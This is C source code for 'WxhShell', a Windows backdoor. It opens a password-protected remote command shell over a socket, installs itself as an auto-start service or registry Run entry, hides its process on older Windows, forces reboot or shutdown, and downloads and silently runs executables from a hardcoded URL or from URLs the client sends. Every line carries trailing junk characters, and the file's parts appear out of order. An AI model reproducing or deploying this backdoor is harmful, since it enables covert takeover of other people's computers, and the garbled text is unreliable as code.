    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xo'!$a}I2  
    else { |@JTSz*Or  
    closesocket(wsh); { %X2K  
    ExitThread(0); lF!PiL  
    } vNs%e/~vj  
    break; <<MpeMi  
    } gp`@dn';  
  // 获取shell ;(`bP  
  case 's': { m1%rm-M  
    CmdShell(wsh); Yt(FSb31H  
    closesocket(wsh); E! NtD).=S  
    ExitThread(0); hp'oiR;~w  
    break; = exCpW>  
  } %BkE %ZcZ  
  // 退出 uKk#V6t#  
  case 'x': { 'D5J5+.z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :zKW[sF  
    CloseIt(wsh); a4^hC[a  
    break; [6mK<A,/  
    } ru eaP  
  // 离开 "{D/a7]lC  
  case 'q': { $oQOOa@;i)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J2VPOn  
    closesocket(wsh); ;`7~Q  
    WSACleanup(); h76j|1gI  
    exit(1); 9t\14tVwx  
    break; *% ;A85V/  
        } "t4z)j;  
  } Cst1nGPL  
  } -6- sI  
'69)m~B0a  
  // 提示信息 W$hCI)m(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }NC$Ce  
} ESV./~K  
  } Pt5wm\  
x/<]/D  
  return; /r~2KZE  
} 4%r?(C0x  
-1Li&K7  
// shell模块句柄 ZSQiQ2\)  
int CmdShell(SOCKET sock) Sr6'$8#>Y  
{ fL2P6N@  
STARTUPINFO si; !ZUUn*e{5  
ZeroMemory(&si,sizeof(si)); |(%<FY$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *g+ ZXB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?`?Tg&W  
PROCESS_INFORMATION ProcessInfo; i;%G Z8  
char cmdline[]="cmd"; ! I?C8)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2: gh q  
  return 0; -"nkC  
}  mU4(MjP?  
A2ye ^<-C.  
// 自身启动模式 G^d3$7  
int StartFromService(void) /P,1KVQPh  
{ 7/<~s]D[%  
typedef struct TzaeE  
{ p+=zl`\=|  
  DWORD ExitStatus; k(H]ILL  
  DWORD PebBaseAddress; md{nHX&  
  DWORD AffinityMask; K@1gK<,a  
  DWORD BasePriority; -r cEG!  
  ULONG UniqueProcessId; E6~VHQa2?  
  ULONG InheritedFromUniqueProcessId; }~@/r5Zl  
}   PROCESS_BASIC_INFORMATION; [ft6xI  
akbB=:M,x  
PROCNTQSIP NtQueryInformationProcess; 2K>1,[C'Z  
n`Pl:L*kG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q.B)?wm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1r> ]XhRFZ  
~fkcal1@  
  HANDLE             hProcess; q#AEu xI1  
  PROCESS_BASIC_INFORMATION pbi; M(+Pd_c6  
8+w*,Ry`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]}/Rl}_  
  if(NULL == hInst ) return 0; /a32QuS  
G$Mf(S'f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %^lD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H1U$ApD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F*U(Wl=  
Ne<S_u2nT  
  if (!NtQueryInformationProcess) return 0; ~2rQ80_  
K9xvog  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #>aq'47j  
  if(!hProcess) return 0; ,4"N7_!7  
^?Xs!kJP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bxh-#x &  
<1I4JPh>x  
  CloseHandle(hProcess); "|(.W3f1  
m@kLZimD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "W+>?u)  
if(hProcess==NULL) return 0; `$jun  
vE(]!CB  
HMODULE hMod; 7#j.y f4  
char procName[255]; 7 w,D2T  
unsigned long cbNeeded; fe yc  
o A2oX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )e0kr46  
P@UE.0NYX  
  CloseHandle(hProcess); ~ `}),aA  
<MJU:m $3  
if(strstr(procName,"services")) return 1; // 以服务启动 -51LF=(!L  
5T.U=_ag  
  return 0; // 注册表启动 $>#0RzU  
} u4FD}nV  
6ZE`'pk<  
// 主模块 =At" Q6-O  
int StartWxhshell(LPSTR lpCmdLine) %R?7u'=~  
{ QErdjjg E  
  SOCKET wsl; \9`E17i  
BOOL val=TRUE; ' 8)kFR^9  
  int port=0; 8'@5X-nD  
  struct sockaddr_in door; 15J"iN2"W  
Y910\h@V  
  if(wscfg.ws_autoins) Install(); yH" i5L9  
Szt2 "AR  
port=atoi(lpCmdLine); $$ *tK8#  
u_NLgM7*  
if(port<=0) port=wscfg.ws_port; &=)O:Jfa  
U:8] G  
  WSADATA data; z0LspRaz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vW eg1  
=cV|o]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z4Q]By:/L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O'(Us!aq  
  door.sin_family = AF_INET; ( gg )?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4r4 #u'Om  
  door.sin_port = htons(port); T5T%[Gv  
a6 vej  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _ab8z]H   
closesocket(wsl); iwM xTty  
return 1; A'`F Rx(  
} =| T^)J  
mOj; 0 R  
  if(listen(wsl,2) == INVALID_SOCKET) { tgG 8pL  
closesocket(wsl); )e5=<'f 1  
return 1; nG4ZOx.*1g  
} mWZP.w^-  
  Wxhshell(wsl); 'i$. _Tx  
  WSACleanup(); ',g%L_8Sq  
o3+s.7 "  
return 0; rP]|`*B  
_D}3``  
} 4o M~  
Lqxh y s  
// 以NT服务方式启动 vrb@::sy0T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v\|jkzR5Y  
{ `w#VYs|k  
DWORD   status = 0; nxV!mh_  
  DWORD   specificError = 0xfffffff; OEaL2T  
6oLOA}q   
  serviceStatus.dwServiceType     = SERVICE_WIN32; (bv{1 7K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :@jctH~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %ZD]qaU0  
  serviceStatus.dwWin32ExitCode     = 0; P\K#q%8  
  serviceStatus.dwServiceSpecificExitCode = 0; DgcS@N  
  serviceStatus.dwCheckPoint       = 0; ByP<-Deh  
  serviceStatus.dwWaitHint       = 0; !0hyp |F:>  
\E,2VM@6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?=4oxPe  
  if (hServiceStatusHandle==0) return; =YVxQj  
!HU$V9C  
status = GetLastError(); YK{J"Kof  
  if (status!=NO_ERROR) 'cc8 xC  
{ }v}F8}4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ``< #F3  
    serviceStatus.dwCheckPoint       = 0; !%M,x~H  
    serviceStatus.dwWaitHint       = 0; v@Eb[7Kq/1  
    serviceStatus.dwWin32ExitCode     = status; 6M&ajl`o  
    serviceStatus.dwServiceSpecificExitCode = specificError; PEEaNOk 1b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "{~FEx4  
    return; ]cP%d-x}  
  } zAM9%W2v_  
@~s5{4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dakHH@Q  
  serviceStatus.dwCheckPoint       = 0; ;/kd.Q  
  serviceStatus.dwWaitHint       = 0; B|a<=~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dk sn  
} Drtg7v{@\  
OKm,iIp]  
// 处理NT服务事件,比如:启动、停止 ?bM%#x{e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Uf+y$n-  
{ Wjq9f;  
switch(fdwControl) ]Xa]a}[uE  
{ LE{@J0r#n  
case SERVICE_CONTROL_STOP: Sak^J.~G[  
  serviceStatus.dwWin32ExitCode = 0; ;6R9k]5P%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kJ"rRsK  
  serviceStatus.dwCheckPoint   = 0; kwUUvF7w  
  serviceStatus.dwWaitHint     = 0; 9Br+]F _i  
  { g7?[}?]3"p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8K 9HFT@yV  
  } w^8Q~ 3|7  
  return; *:d ``L  
case SERVICE_CONTROL_PAUSE: r3?8nQ$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +|bmUm<2  
  break; U@).jpN  
case SERVICE_CONTROL_CONTINUE: _ZavY<6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !I1p`_(_7  
  break; =7TWzUCO#  
case SERVICE_CONTROL_INTERROGATE: T rh t2Iv  
  break; b+:mV7eX  
}; eCKm4l'BZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eh;Ia6}  
} $:5h5Y#z  
zUJXA:L9  
// 标准应用程序主函数 w uY-f4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :_i1gY)  
{ 5P #._Em  
T_2'=7  
// 获取操作系统版本 yn ofDGAf  
OsIsNt=GetOsVer(); uY)4y0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7Fpa%N/WL  
EwG+' nlE  
  // 从命令行安装 ?MSZO]Q4+  
  if(strpbrk(lpCmdLine,"iI")) Install(); HLz<C  
ha|2u(4  
  // 下载执行文件 X~m57 b j  
if(wscfg.ws_downexe) { :CM-I_6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9$v\D3<Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); *-]k([wV  
} i| cA)  
= .S2gO >  
if(!OsIsNt) { 4N= , 9  
// 如果时win9x,隐藏进程并且设置为注册表启动 wT+60X'  
HideProc(); YhglL!p C  
StartWxhshell(lpCmdLine); l2W+VBn6  
} }` `oojz  
else PT,*KYF_O"  
  if(StartFromService()) ,e$RvFB  
  // 以服务方式启动 < hy!B4  
  StartServiceCtrlDispatcher(DispatchTable); 8bMw.u=F  
else $#e}9g.  
  // 普通方式启动 (421$w,B%  
  StartWxhshell(lpCmdLine); M6cybEk`  
n5xG4.#G  
return 0; anz7ae&P'K  
} `::j\3B&Y-  
Us "G X_  
Ap\]v2G  
3@eI? (N  
=========================================== ~7}no}7  
sR PQr ?  
_d~GY,WTdO  
|:(BI5&S  
k(>J?\iNW  
PNLlJlYlP  
" 24InwR|^  
OdyL j  
#include <stdio.h>  A|IPQ=  
#include <string.h> ~qb?#IY]`  
#include <windows.h> D.AiqO<z  
#include <winsock2.h> oIE(`l0l  
#include <winsvc.h> y'f-4E<  
#include <urlmon.h> "AJ>pU3  
`$ bQ8$+Ci  
#pragma comment (lib, "Ws2_32.lib") ;/m>c{  
#pragma comment (lib, "urlmon.lib") Zq1> M'V;  
'%Oo1:wJ  
#define MAX_USER   100 // 最大客户端连接数 $?: -A  
#define BUF_SOCK   200 // sock buffer b,HXD~=  
#define KEY_BUFF   255 // 输入 buffer &C,]c#-+  
 H!y@.W{_  
#define REBOOT     0   // 重启 @AG=Eq9<o  
#define SHUTDOWN   1   // 关机 yF` ( GU  
P'_ aNU  
#define DEF_PORT   5000 // 监听端口 ?b^<Tny  
2 (ux  
#define REG_LEN     16   // 注册表键长度 )CL/%I,^  
#define SVC_LEN     80   // NT服务名长度 35-FD{  
*Z"Kvj;>u  
// 从dll定义API ZMyd+C_P2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c:z}$DK&'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y=pRenV'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qy\SOA h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E.VEW;=  
,,9vk\  
// wxhshell配置信息 %u|Qh/?7  
struct WSCFG { QIN# \  
  int ws_port;         // 监听端口 Grd9yLF  
  char ws_passstr[REG_LEN]; // 口令 `n|k+tsC  
  int ws_autoins;       // 安装标记, 1=yes 0=no n!b*GXb\  
  char ws_regname[REG_LEN]; // 注册表键名 $[=`*m  
  char ws_svcname[REG_LEN]; // 服务名 ?K}KSJ6_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JLyFk V/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 84Hm PPt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gJOswN;([  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U8g?   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q|D*H9[ke  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;NJM3g0I  
H~hAm  
}; 4P24ySy9F  
B;{sr'CP  
// default Wxhshell configuration 9qZ|=r]y'  
struct WSCFG wscfg={DEF_PORT, SLd9-N}T  
    "xuhuanlingzhe", MT&q~jx*  
    1, nDchLVw  
    "Wxhshell", t^9q>[/d`  
    "Wxhshell", HZ2zL17  
            "WxhShell Service", KRcg  
    "Wrsky Windows CmdShell Service", f;ycQc@f  
    "Please Input Your Password: ", QPF[D7\  
  1, |4Q><6"G  
  "http://www.wrsky.com/wxhshell.exe", ',RR*{I  
  "Wxhshell.exe" +n`^W(  
    }; yFP#z5G  
P|)SXR  
// 消息定义模块 Sag\wKV8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VHws9)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Otl(\v(h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \=~<I  
char *msg_ws_ext="\n\rExit."; gwF@'Uu  
char *msg_ws_end="\n\rQuit."; !lB,2_  
char *msg_ws_boot="\n\rReboot..."; q%^gG03.  
char *msg_ws_poff="\n\rShutdown..."; )=D9L  
char *msg_ws_down="\n\rSave to "; Ipmr@%~  
==j3 9  
char *msg_ws_err="\n\rErr!"; UuA=qWC  
char *msg_ws_ok="\n\rOK!"; f.r-,%^6{  
8%U)EU  
char ExeFile[MAX_PATH]; t,P +~ A  
int nUser = 0; WqU$cQD"  
HANDLE handles[MAX_USER]; #$fFp  
int OsIsNt; *m]%eU(  
Z=sAR(n}~  
SERVICE_STATUS       serviceStatus; EA>$t\z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AB#hh i#  
ck<4_?1]  
// 函数声明 K<_H`k*x  
int Install(void); <$9AP  
int Uninstall(void); X!_OOfueP8  
int DownloadFile(char *sURL, SOCKET wsh); Kd,m;S\  
int Boot(int flag); n#]G!7  
void HideProc(void); -)<Nd:A  
int GetOsVer(void); !8s:3]  
int Wxhshell(SOCKET wsl); khu,P[3>  
void TalkWithClient(void *cs); CGg6nCB  
int CmdShell(SOCKET sock); D{z=)'/F  
int StartFromService(void); gf@'d.W}  
int StartWxhshell(LPSTR lpCmdLine); ? 8!N{NV  
->#7_W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @o^sp|k !  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vgm{=$  
B'0Il"g'  
// 数据结构和表定义 hQ8{ A7  
SERVICE_TABLE_ENTRY DispatchTable[] = 9hp0wi@W}  
{ >zhbipA  
{wscfg.ws_svcname, NTServiceMain}, ZmHl~MR@  
{NULL, NULL} |$0/:*  
}; SI(8.$1  
|m EJJg`"7  
// 自我安装 %yrP: fg/  
int Install(void) O@Kr}8^,  
{ IH0^*f  
  char svExeFile[MAX_PATH]; 9VY_gi=vL  
  HKEY key; ohyUvxvj  
  strcpy(svExeFile,ExeFile); p]g/iLDZ  
2I4P":q  
// 如果是win9x系统,修改注册表设为自启动 q B 2#EsZ  
if(!OsIsNt) { 1Q$ M/}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xX>448=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U)o8Tr  
  RegCloseKey(key); 4'8.f5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jH G(d$h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aH#|LrdJ  
  RegCloseKey(key); nBj7Q!lW  
  return 0; Fu><lN7  
    } 4%{m7CK}  
  } liB>~DVC  
} _0`O}  
else { .lnD]Q  
O&0R ~<n  
// 如果是NT以上系统,安装为系统服务 3G&1. 8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ywr{/  
if (schSCManager!=0) C|JWom\J  
{ >) ^!gz8  
  SC_HANDLE schService = CreateService 7I  
  ( 8vP)qy8  
  schSCManager, ljCgIfZ_4  
  wscfg.ws_svcname, w/<hyEpxg  
  wscfg.ws_svcdisp, n#fg7d%  
  SERVICE_ALL_ACCESS, 0?sp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Aws TDM  
  SERVICE_AUTO_START, ^YZ#P0 y  
  SERVICE_ERROR_NORMAL, MG@19R2s  
  svExeFile, Dx%fW`  
  NULL, ;g*6NzdA  
  NULL, (^4%Fk&I-  
  NULL, C!P6Z10+j  
  NULL, 5-QXvw(TH  
  NULL ~!OjdE!u  
  ); U#P#YpD;==  
  if (schService!=0) "8X+F%  
  { ij),DbWd  
  CloseServiceHandle(schService); G#*;3X$  
  CloseServiceHandle(schSCManager); ro{MD s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  x1et,&,  
  strcat(svExeFile,wscfg.ws_svcname); v]!7=>/2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J5"*OH:f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *$1)&2i  
  RegCloseKey(key); 5%$#3LT|  
  return 0; k4P.}SJ?  
    } V+q RDQ  
  } >4E,_`3N  
  CloseServiceHandle(schSCManager); z,EOyi  
} '$VR_N\  
} hg~fFj3ST  
Kna'5L5"  
return 1; `xr%LsNn  
} 4SrK]+|  
^s*} 0  
// 自我卸载 )wRD  
int Uninstall(void) { 1+H\ (v  
{ 2P}RZvUd  
  HKEY key; #wyS?FP-  
UTt#ltun?  
if(!OsIsNt) { Id0F2  [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;a`X|N9  
  RegDeleteValue(key,wscfg.ws_regname); ~83P09\T%  
  RegCloseKey(key); 1DP)6{x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yN.D(ZwF:  
  RegDeleteValue(key,wscfg.ws_regname); ik*_,51Zj  
  RegCloseKey(key); ,L;vN6~  
  return 0; ;<A/e  
  } 5dk,!Cjg  
} YovY0nO  
} aBnbu vp  
else { ccSSa u5N  
v#FUD-Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C(t/:?(y  
if (schSCManager!=0) 96avgyc  
{ luT8>9X^:a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 86g+c  
  if (schService!=0) c"ztrKQQ  
  { 'Ap 5Aq  
  if(DeleteService(schService)!=0) { M)7enp) F.  
  CloseServiceHandle(schService); ~}*;Ko\  
  CloseServiceHandle(schSCManager); jlBCu(.,_  
  return 0; ~aG-^BAS  
  } h~p}08  
  CloseServiceHandle(schService); hd;I x%tq>  
  } rzHa&:Y  
  CloseServiceHandle(schSCManager); Fe .*O`  
}  P+0xi  
} [4 j;FN Fa  
s_LSs yqo  
return 1; A\)X&vR[6  
} 3#[I _  
MV}]i@ V  
// 从指定url下载文件 t^5_;sJQ  
int DownloadFile(char *sURL, SOCKET wsh) p/~kw:I  
{ N3<Jh  
  HRESULT hr; E6k&r}  
char seps[]= "/"; M'iKk[Hjfx  
char *token; ~@a R5Q>us  
char *file; f,>i%.  
char myURL[MAX_PATH]; dk/*%a +  
char myFILE[MAX_PATH]; N}G(pq}  
1`{ib  
strcpy(myURL,sURL); G6 5N:  
  token=strtok(myURL,seps);  /GUuu  
  while(token!=NULL) w)n]}k  
  { z%tu6_4j  
    file=token; S+Yg!RrNqj  
  token=strtok(NULL,seps); ;g jp&g9Q  
  } 6,1|y%(f  
C6~dN& q  
GetCurrentDirectory(MAX_PATH,myFILE); /p0LtUMu  
strcat(myFILE, "\\"); us%RQ8=k  
strcat(myFILE, file); zQ}N mlk  
  send(wsh,myFILE,strlen(myFILE),0); !++62Lf  
send(wsh,"...",3,0); 8zWPb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [Gy'0P(EQ  
  if(hr==S_OK) V?BVk8D};  
return 0; 5FI>T=QF  
else iGLYM-  
return 1; -d'|X`^nE  
GN c|)$  
} P*Sip?tdE  
z_@zMLs  
// 系统电源模块 FaE orQ  
int Boot(int flag) g"S+V#R  
{ V&v~kzLr+  
  HANDLE hToken; T(^8ki  
  TOKEN_PRIVILEGES tkp; gq3OCA!cX  
GuvF   
  if(OsIsNt) { |LE++t*X~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mtddLd,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e622{dfVS  
    tkp.PrivilegeCount = 1; v^fOT5\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lG>e6[Wc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^\jX5)2{  
if(flag==REBOOT) { b] ?;R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4CT9-2UC  
  return 0; z,YUguc|  
} S=SncMO nE  
else { hP8&n9o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $4JX#lkt  
  return 0; }tO<_f))  
} PM!t"[@&  
  } yuDd% 1k  
  else { q.Z#7~6`3  
if(flag==REBOOT) { v=1S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AiK4t-  
  return 0; BrMp_M  
} | V,jd  
else { ~j#6 goKn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [(EH  
  return 0; }AZx/[k |z  
} *[:CbFE0y  
} Yka&Kkw  
\ZWmef  
return 1; F{~r7y;0  
} @]wem  
ULmdt   
// win9x进程隐藏模块 M;V#Gm  
void HideProc(void) s^'#"`!v=  
{ M`pTT5r  
oHd0 <TO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +gCy@_2;  
  if ( hKernel != NULL ) P Xn>x8z  
  { 0lr4d Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i}F;fWZ`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )h_ 7 2  
    FreeLibrary(hKernel); !nBm}E7d  
  } JD`;,Md  
} %CbZ/7&  
return; T-2p`b}h W  
} {)9HS~e T  
@<TZH  
// 获取操作系统版本 {&u7kWD|  
int GetOsVer(void) T^;Jz!e  
{ ss@}Dt^  
  OSVERSIONINFO winfo; He-Ja  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UJ)M:~O  
  GetVersionEx(&winfo); O8~U<'=*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J~'Q^O3@  
  return 1; uNZ>oP>  
  else ^ R^N`V   
  return 0; B "F`OS[  
} ^ O Xr: P  
JKi@Kw  
// 客户端句柄模块 ;4v}0N~.  
int Wxhshell(SOCKET wsl) P9mxY*K)%5  
{ vp75u93  
  SOCKET wsh; 2n;;Tso"  
  struct sockaddr_in client; !^bB/e  
  DWORD myID; uQtk|)T E  
<bXWkj  
  while(nUser<MAX_USER) S]%U]  
{ Dw/Gha/  
  int nSize=sizeof(client); \R>5F\ 0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vt)\[Tl~  
  if(wsh==INVALID_SOCKET) return 1; 2{]S_. zV  
`NWgETf^#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IL2Gsj)M  
if(handles[nUser]==0) O-!fOdX8_k  
  closesocket(wsh); 2|H91Y2  
else 9eN2)a/  
  nUser++; VO;UV$$  
  } |]!Ky[P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $x_52 j\j  
,{ L;B  
  return 0; f'`nx;@X  
} Re,$<9V  
s!;VUr\  
// 关闭 socket L8w76|  
void CloseIt(SOCKET wsh) E,D:D3O  
{ U>_\  
closesocket(wsh); ,dj* p ,J  
nUser--; 6n6VEwYj  
ExitThread(0); /mB Beg^a  
} BXK::M+  
Ril21o! j  
// 客户端请求句柄 'UvS3]bSYW  
void TalkWithClient(void *cs) @wdB%  
{ qzlMn)e  
$sL|'ZMbS  
  SOCKET wsh=(SOCKET)cs; q>|[JJ*6_N  
  char pwd[SVC_LEN]; & A9A#It  
  char cmd[KEY_BUFF]; ZOrTbik  
char chr[1]; @U /3iDB\  
int i,j; 3 +8"  
,+f0cv4  
  while (nUser < MAX_USER) { m~j\?mb{+  
~Ri u*<  
if(wscfg.ws_passstr) { 'D0X?2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R|)2Dg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |N=@E,33  
  //ZeroMemory(pwd,KEY_BUFF); [ 4Y `O  
      i=0; `k}l$ih`X  
  while(i<SVC_LEN) { e9Ul A  
Il^ \3T+  
  // 设置超时 BvZ^^IUb  
  fd_set FdRead; s{z~Axup-  
  struct timeval TimeOut; oLqbR?  
  FD_ZERO(&FdRead); 2htA7V*dD  
  FD_SET(wsh,&FdRead); !,6v=n[Nz  
  TimeOut.tv_sec=8; .KU SNrs'  
  TimeOut.tv_usec=0; n:bB$Ai2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [6_Du6\h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -Nlf~X  
Dd5xXs+c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }rY?=I  
  pwd=chr[0]; aO^:dl5  
  if(chr[0]==0xd || chr[0]==0xa) { wSJ]3gJM`  
  pwd=0; %7(kP}y*  
  break; >NH4A_  
  } >: W-C{%  
  i++; 4QjWZ Wl  
    } [C+Gmu  
HL(U~Q6JQ  
  // 如果是非法用户,关闭 socket H7yg9zFT N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V@f6Lj  
} ^0`<k  
:<N6i/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gaw4NZd)0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?9(o*lp  
;X$q#qzN#  
while(1) { 2-$bh  
[j=,g-EOA  
  ZeroMemory(cmd,KEY_BUFF); `dgM|.w5=  
!O F?xW  
      // 自动支持客户端 telnet标准   :PFx&  
  j=0; %l8*t$8  
  while(j<KEY_BUFF) { 4#@W;'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UKKSc>D1  
  cmd[j]=chr[0]; sw41wj  
  if(chr[0]==0xa || chr[0]==0xd) { tIyuzc~U  
  cmd[j]=0; CrNwALx  
  break; @3 -,=x  
  } a)_rka1(  
  j++; uEScAeQXsI  
    } 'n l RY5@2  
>&<<8Ln  
  // 下载文件 p |\%:#  
  if(strstr(cmd,"http://")) { R,x>$n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V\@jC\-5Vt  
  if(DownloadFile(cmd,wsh)) J7'f@X~nM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X!7VyE+n  
  else ] Wx>)LT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HBh` 2Q  
  } 4#^'lKIx  
  else { i<4>\nc  
pKt-R07*  
    switch(cmd[0]) { )YzHk ;(  
  XMN?;Hj>  
  // 帮助 6o=qJ`m[?  
  case '?': { xH_A@hf;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lh8bQH  
